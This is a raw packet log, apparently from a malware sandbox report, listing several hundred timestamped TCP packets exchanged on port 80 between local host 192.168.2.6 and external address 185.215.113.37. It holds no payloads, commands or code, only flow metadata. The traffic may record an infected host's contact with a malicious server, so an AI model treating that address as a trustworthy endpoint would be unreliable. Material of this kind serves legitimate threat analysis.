Oct 25, 2024 01:27:23.390995026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391020060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391021013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391050100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391058922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391077995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391091108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391117096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391129017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391170979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391211987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391221046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391256094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391288042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391302109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391340017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391344070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391386032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391391039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391426086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391457081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391458988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391485929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391510010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391535044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391542912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391555071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391577959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391586065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391612053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391619921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391645908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391661882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391694069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391697884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391752958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391787052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391797066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391820908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391849995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391855001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391887903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391890049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391904116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391952038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.391959906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.391995907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392004013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392041922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392045975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392081022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392091990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392113924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392127991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392149925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392155886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392184019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392216921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392225027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392251015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392261982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392287016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392294884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392321110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392334938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392357111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392363071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392390966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392400026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392426014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392458916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392472029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392492056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392499924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392525911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392539978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392560005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392566919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392595053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392605066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392630100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392663002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392673969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392697096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392703056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392730951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392752886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392765999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392798901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392808914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392832994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392858982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392867088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392882109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392899990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392932892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392957926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.392967939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.392997980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393003941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393037081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393038988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393059969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393069983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393090963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393105030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393137932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393145084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393172026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393186092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393204927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393218994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393239975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393244028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393274069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393282890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393306971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393316984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393340111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393349886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393373966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393399954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393409014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393419027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393443108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393449068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393476963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393505096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393512011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393521070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393543959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393579960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393588066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393613100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393623114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393647909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393660069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393682003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393697977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393718004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393743038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393748999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393759012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393783092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393791914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393817902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393829107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393851042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393884897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393894911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393918037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393932104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393953085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.393979073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.393986940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394000053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394021988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394053936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394058943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394081116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394088984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394102097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394124031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394155979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394186974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394188881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394216061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394223928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394248962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394258022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394284010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394292116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394300938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394325018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394334078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394360065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394367933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394396067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394402027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394431114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394464970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394473076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394498110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394505024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394531012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394543886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394565105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394572020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394598007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394632101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394633055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394665003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394676924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394697905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394718885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394731998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394738913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394766092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394773006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394799948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394804955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394834995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394840956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394870996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394876957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394903898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394927979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394937992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394943953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.394972086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.394980907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395004988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395009041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395040035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395049095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395073891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395107985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395108938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395133018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395142078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395174026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395174980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395195961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395214081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395248890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395257950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395257950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395282030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395330906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395332098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395333052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395363092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395399094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395404100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395427942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395432949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395458937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395467043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395494938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395504951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395514011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395539999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395546913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395576000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395586967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395610094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395615101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395638943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395651102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395673037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395678043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395708084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395714998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395741940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395770073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395776033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395786047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395808935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395823956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395843983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395876884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395886898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395910025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395919085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395944118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395977020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.395992994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.395992994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396009922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396024942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396049023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396047115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396083117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396090031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396116972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396131039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396152020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396157026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396188974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396195889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396223068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396255970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396265030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396290064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396322966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396326065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396326065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396354914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396387100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396392107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396420002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396445990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396455050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396461964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396487951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396495104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396522045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396555901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396560907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396581888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396589994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396598101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396622896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396640062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396656990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396667004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396691084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396697998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396725893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396735907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396759987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396792889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396794081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396815062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396828890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396862030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396888018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396898985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396908045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396934986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396930933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.396969080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.396979094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397001982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397036076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397043943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397068977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397078991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397103071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397105932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397136927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.397146940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.397171021 CEST	80	49711	185.215.113.37	192.168.2.6
